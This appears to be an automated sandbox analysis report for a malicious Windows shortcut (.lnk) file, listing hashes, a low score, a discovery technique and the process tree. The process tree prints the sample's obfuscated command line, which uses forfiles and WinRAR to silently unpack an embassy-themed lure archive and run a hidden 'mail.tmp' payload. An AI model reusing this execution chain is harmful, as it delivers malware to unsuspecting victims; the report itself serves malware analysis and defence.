94e76db201d4998394effae2c132730ff958bf6553f6dd08d0d5856ecb5e8a84

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20240319-en
resource tags

arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 12:44

Target

94e76db201d4998394effae2c132730ff958bf6553f6dd08d0d5856ecb5e8a84.lnk
Size

2KB
MD5

3277b31aa055bc149af8c37699019586
SHA1

d0d6618fc79ffa3de2aec58603539a294a0bc203
SHA256

94e76db201d4998394effae2c132730ff958bf6553f6dd08d0d5856ecb5e8a84
SHA512

e7ef24dd982a79c5f155adcc552521fd466cdd80ff57ac0c0a88e2300761840b0ec3312da2bbc4f7ac1c9aa369bf38d3e6a7f3938eb03058fe6a340a168d8ebc

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 2680	2284	cmd.exe	29
PID 2284 wrote to memory of 2680	2284	cmd.exe	29
PID 2284 wrote to memory of 2680	2284	cmd.exe	29
PID 2680 wrote to memory of 2512	2680	cmd.exe	30
PID 2680 wrote to memory of 2512	2680	cmd.exe	30
PID 2680 wrote to memory of 2512	2680	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\94e76db201d4998394effae2c132730ff958bf6553f6dd08d0d5856ecb5e8a84.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "`\`\`\`\`\`\mail.tmp||(forfiles /P C:\Users\Admin\AppData\Roaming\..\..\ /S /M ^"Embassy of the Republic of Suriname 2022-N-033.rar^" /C "cmd /c (c:\progra~1\winrar\winrar x -inul -o+ @path||c:\progra~2\winrar\winrar x -inul -o+ @path)&&`\`\`\`\`\`\mail.tmp")"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\forfiles.exe
    forfiles /P C:\Users\Admin\AppData\Roaming\..\..\ /S /M "Embassy of the Republic of Suriname 2022-N-033.rar" /C "cmd /c (c:\progra~1\winrar\winrar x -inul -o+ @path||c:\progra~2\winrar\winrar x -inul -o+ @path)&&`\`\`\`\`\`\mail.tmp"
    3⤵
    PID:2512

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact